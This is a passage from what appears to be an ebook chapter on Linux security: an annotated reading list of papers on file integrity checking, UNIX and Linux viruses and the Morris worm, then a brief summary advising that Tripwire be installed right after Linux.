  • Data Integrity with Veracity, Ross N. Williams, Rocksoft Corp. In this document, Williams presents Veracity, a file integrity tool, and offers discussion on general file integrity security issues (ftp://ftp.rocksoft.com/clients/rocksoft/papers/vercty10.ps).

  • Defeating File Integrity Checks Through Redirection, Victor Porguen. The author shows an inside look at how to defeat standard file integrity checking techniques. Although the example presented focuses on WinFax, a Windows-based application, the author's insights are interesting nonetheless (http://www.phase-one.com.au/fravia/redirect.htm).

  • First Virus Infects Linux, CNET. An article about Bliss, the first Linux virus (http://www.news.com//News/Item/0,4,7760,4000.html).

  • Heterogeneous Computer Viruses In A Networked UNIX Environment, Peter V. Radatti, CyberSoft, Incorporated. Here, Raditti discusses how viruses spread in heterogeneous network environments, and UNIX-to-PC infection (http://www.cyber.com/papers/heterogeneous.html).

  • The Helminthiasis of the Internet, J. Reynolds, ISI. Reynolds makes his own examination of the Internet Worm (http://www.cyber.com/papers/reference/rfc1135.html).

  • The Internet Worm Program: An Analysis, Purdue Technical Report CSD-TR-823, Eugene H. Spafford, Department of Computer Sciences, Purdue University. In this document, Spafford takes us through Robert Morris' Internet Worm (gopher://wiretap. spies.com:70/00/Library/Techdoc/Virus/inetvir.823).

  • The Plausibility of UNIX Virus Attacks, Peter V. Radatti, Cybersoft, Incorporated. In this paper, Radatti offers an overview (and a warning) of how viruses can target UNIX (http://www.cyber.com/papers/plausibility.html).

  • Threat Assessment of Malicious Code and Human Threats, Lawrence E. Bassham and W. Timothy Polk, National Institute of Standards and Technology, Computer Security Division. This document covers malicious code issues in detail and offers some history of worms and viruses (http://csrc.ncsl.nist.gov/nistir/threats/).

  • Trusted Distribution of Software Over the Internet, Aviel D. Rubin. Appeared in the Internet Society 1995 Symposium on Network and Distributed System Security. Here, Rubin offers one possible solution to the risk of downloading trojaned code: third-party signed certificates. He presents BETSI, the Bellcore Trusted Software Integrity System (ftp://ftp.cert.dfn.de/pub/docs/betsi/Betsi.ps).

  • Wandering and Cruise, Sung Moo Yang. A technical paper about malicious code that focuses on factors that influence code's mobility (http://www.cyber.com/papers/cruise.html).

Summary

Malicious code is a significant security risk, but it needn't be. If you run a utility like Tripwire on all your Linux hosts, you'll be well prepared to detect an attack. However, you'll realize the best results by installing Tripwire immediately after installing Linux. When you install file integrity checkers on systems that have already been in circulation (and may therefore already have malicious code installed), you cannot justifiably rely on your initial database.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.143.247.53